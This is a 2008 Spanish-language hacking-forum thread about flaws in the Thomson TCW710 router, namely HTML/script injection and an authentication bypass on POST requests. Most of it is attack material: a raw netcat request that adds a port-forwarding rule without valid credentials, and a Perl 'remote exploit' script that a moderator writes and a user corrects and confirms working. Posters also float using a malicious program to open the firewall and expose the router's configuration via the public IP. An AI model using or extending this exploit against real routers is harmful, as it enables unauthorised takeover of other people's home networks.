elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [°] Bugs en TCW710
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [°] Bugs en TCW710  (Leído 12,684 veces)
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
[°] Bugs en TCW710
« en: 21 Agosto 2008, 12:22 »

Hola tengo el router TCW710 wireless que me instaló ONO hará cosa de un año. Creo haber encontrado dos bugs en mi router pero me gustaria que alguien con el mismo hardware lo comprobara:

1) Primero quiero empezar con el menos "importante", el TCW710 admite HTML injection y necesita tener javascript habilitado para funcionar por lo que se pueden incluir scripts. Un buen sitio para probar es en el apartado control parental donde se pueden añadir keywords que bloqueará el router en la navegación. El campo tiene un máximo de caracteres a introducir pero nada nos impide copiar la página (parte HTML) y modificar el número de caracteres y también el campo action del form a cuyo valor hay que anteponer "http://[IP router]" de esta forma se ejecuta la parte HTML modificada y se envía al ASP del router.

2) El segundo tiene que ver con la "autenticación", ésta en principio es básica (base-64). Haciendo unas pruebas con netcat (nc 192.168.0.1 80 < data.txt) envié el siguiente contenido al router:
Código:
Contenido de data.txt:

POST /goform/RgForwarding HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic OmFkbWlu
Content-Type: application/x-www-form-urlencoded
Content-Length: 1159

PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&
PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&
PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&
PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&
PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&
PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&
PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&
PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&
PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&
PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01

Lo que hace es autenticarse con la contraseña por defecto (user:"" y pass:"admin") y permitir forwarding en el puerto 80 de la ip local 192.168.0.10 (en el campo nº10).
Hasta ahí todo bien... pero después de cambiar la contraseña sin acordarme de modificar el valor OmFkbWlu ¡el comando seguia funcionando! y es más intrigado eliminé la linea de autenticación y ¡funcionó! :o   Por si acaso reinicié mi equipo y el router y cuando lo probé volvió a funcionar.
¿Así que el router no autentica cuando se hace una petición POST?  >:D

Estas dos vulnerabilidades obviamente son locales pero un programa (incluso un batch) con malas intenciones puede hacer un agujero en el firewall apuntando a un equipo y con una utilidad como como rinetd redireccionar a la configuración del router, ofreciendo la configuración a través de la ip pública, que por cierto se puede extraer de una de las páginas de configuración... Si alguien sabe hacer esto directamente se ahorra trabajo pero al menos en mi router no funciona el marcar la casilla "Remote Config".

Espero que saltar el firewall de mi router no sea tan facil... :-(, espero vuestras respuestas sobre todo si alguien lo puede comprobar con un router igual.

Saludos

Nota: La parte de datos del paquete va en una línea y recuerda actualizar "Content-Length" si modificas algo de esa parte.

« Última modificación: 25 Septiembre 2008, 15:00 por sirdarckcat » En línea

Eazy

Desconectado Desconectado

Mensajes: 229


Eazy [FM-Team]


Ver Perfil WWW
Re: BugS en TCW710?
« Respuesta #1 en: 21 Agosto 2008, 14:28 »

Yo no uso router, pero la 2º me parece que anda che :)
En línea

[/url]
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.209



Ver Perfil
Re: BugS en TCW710?
« Respuesta #2 en: 22 Agosto 2008, 01:26 »

Vaya, no tengo la oportunidad de probarlo en mi LAB, espero me presten alguno para hacer algunas pruebas, si todo marcha como dices, me adelanto a crear un pequeño exploit remoto, version beta, habra que comprobar algunas otra cosas y sacarle el mayor provecho:

Código:
#!/usr/bin/perl -w
#
# Router WiFi Thomson TCW710
# Remote Exploit bypass Authentication via "POST"
#
# By berz3k [berz3k at gmail.com]


use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $method = 'POST'; # Method "GET" or "POST"
my $uri = '192.168.0.1'; # Factory default IP address
my $content = "/goform/RgForwarding?"; # Variable to send


my $headers = HTTP::Headers->new(

 'Host:'                => '192.168.0.1',
 'User-Agent:'          => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13',
 'Accept:'              => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
 'Accept-Language:'     => 'en-us,en;q=0.5',
 'Accept-Charset:'    => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',     
 'Keep-Alive:'          => '300',
 'Connection:'          => 'keep-alive',
 'Referer:'        => 'http://192.168.0.1',
 'Authorization:' => 'Basic OmFkbWlu', # base64 encode
 'Content-Length:' => '1159',

);

my $request = HTTP::Request->new($method, $uri, $headers, $content);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] We got this response from router: \n\n" . $response->content . "\n";

my $data;
foreach my $pair (split('&', $response->content)) {
  my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] Use:\n";
print "\tperl -x exploit_TCW710.pl\n";
  print $data->{RESPMSG} . "\n";
exit(0);

} else {

  print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] By berz3k [berz3k\@gmail.com]\n";

}


En línea

GroK


Desconectado Desconectado

Mensajes: 680


...I have become comfortably numb...


Ver Perfil
Re: BugS en TCW710?
« Respuesta #3 en: 22 Agosto 2008, 06:12 »

Hey, yo tengo ese router. Bueno, no es el que uso ahora mismo porque me lo cambiaron hara cosa de una semana los de ONO por un Scientific Atlanta, porque tenia problemas en la conexion y alegaban que el router estaba mal... Pero yo estoy seguro de que funciona bien. Cuando pueda compruebo esos bugs (y el exploit of course) y os comento ok?

Saludos
En línea

"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant

Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #4 en: 22 Agosto 2008, 21:16 »

berz3K gracias por el exploit esto me recuerda que tengo que meterme con perl... :), así creo deberia funcionar pero tampoco haria falta la linea Authorization.

Espero vuestra confirmación.

Saludos

En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.209



Ver Perfil
Re: BugS en TCW710?
« Respuesta #5 en: 24 Agosto 2008, 23:07 »

@Stacker

La linea de "Authorization:" esta conteplada en el codigo anteriormente posteado, dentro de la variable $headers.

Código:
'Authorization:' => 'Basic OmFkbWlu', # base64 encode
En línea

Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #6 en: 24 Agosto 2008, 23:42 »

@berz3k

Quise decir que así como está (incluida) funciona bien ya que aunque esa no sea la clave funciona,  pero por esa misma razón puede no incluirse esa línea ya que no se efectua la comprobación (lo he probado).

En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.209



Ver Perfil
Re: BugS en TCW710?
« Respuesta #7 en: 25 Agosto 2008, 10:43 »


@Stacker

Ha vaya lei mal XDD, intenta comentar esa linea y ejecuta el exploit platicanos que pasa en el router y con el propio exploit, seguramente tendremos que hacer algunas modificaciones para mejorarlo.

Si no tienes perl para probar, bajatelo para win32 link:
:http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1003-MSWin32-x86-285500.msi

Linux, esta por default.

Ejecutar win32 o Linux:

Código:
perl -x exploit_TCW710.pl


Ya nos platicaras.

-berz3k.



En línea

Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #8 en: 25 Agosto 2008, 14:30 »

Bueno, el exploit funciona a falta de unos retoques. Antes de nada quiero decir que no sabia nada de perl y lo entendia más o menos por su similitud con otros lenguajes, por tanto los retoques los hice ayudandome de google ;), no obstante es perfectamente funcional aunque hay que mejorarlo.



Mis modificaciones:

1) Usando un sniffer me percate de que no hacian falta los dos puntos en cada campo de la cabecera porque se duplicaban (ya digo que no conozco perl).

2) La petición de la forma que la encontré en google no necesita de las variables $method y $uri.

Código:
my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content);

$content queda así:
Código:
my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForward..."; #Variable to send

3) Para que sea más fácil incluir las peticiones (ya hay que moficar el valor de $content) puse en  Content-Length el valor length($content).

4) De esta forma ya es funcional (está probado), pero devolvía un error:

Use of uninitialized value in numeric ne (!=) at exploit_TCW710.pl line 50.

No he podido averiguar el por qué de este error, pero dado que no influye en el resultado final (ya se ha enviado la petición) he comentado la condicional a la espera de que encontreis solución.



Resultado:
Código:
#!/usr/bin/perl -w
#
# Router WiFi Thomson TCW710
# Remote Exploit bypass Authentication via "POST"
#
# By berz3k [berz3k at gmail.com]


use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01"; # Variable to send


my $headers = HTTP::Headers->new(

 'Host' => '192.168.0.1',
 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13',
 'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
 'Accept-Language' => 'en-us,en;q=0.5',
 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',     
 'Keep-Alive' => '300',
 'Connection' => 'keep-alive',
 'Referer'        => 'http://192.168.0.1',
 'Content-Type' => 'application/x-www-form-urlencoded',
 'Content-Length' => length($content)

);

my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] We got this response from router: \n\n" . $response->content . "\n";

my $data;
foreach my $pair (split('&', $response->content)) {
  my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

#if ($data->{RESULT} != 0) {

# print "[+] Remote Exploit for TCW710 Beta\n";
# print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
# print "[+] Use:\n";
# print "\tperl -x exploit_TCW710.pl\n";
# print $data->{RESPMSG} . "\n";
# exit(0);

#} else {

# print "[+] Remote Exploit for TCW710 Beta\n";
# print "[+] By berz3k [berz3k\@gmail.com]\n";

#}



Resumiendo el exploit es funcional, pero seria buena idea mejorarlo. Por ejemplo que el contenido de las peticiones que es un poco largo se pueda leer de un archivo externo, o incluso generarse con ayuda de parametros. (la primera más sencilla)

Por otro lado... ¿a podido alguien comprobar el bug en otro equipo?

« Última modificación: 25 Agosto 2008, 14:37 por Stacker » En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.209



Ver Perfil
Re: BugS en TCW710?
« Respuesta #9 en: 28 Agosto 2008, 11:55 »


Yo no he tenino la oportidad de probar el c0de sobre el equipo, el c0de lo hice a "ciegas", pero estoy seguro es bastante funcional, yo espero me presten uno pronto para probar.

-berz3k.

En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
sustituir cisco 2100 por Thomson tcw710
Redes
Danyor 0 1,867 Último mensaje 9 Febrero 2011, 09:46
por Danyor
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines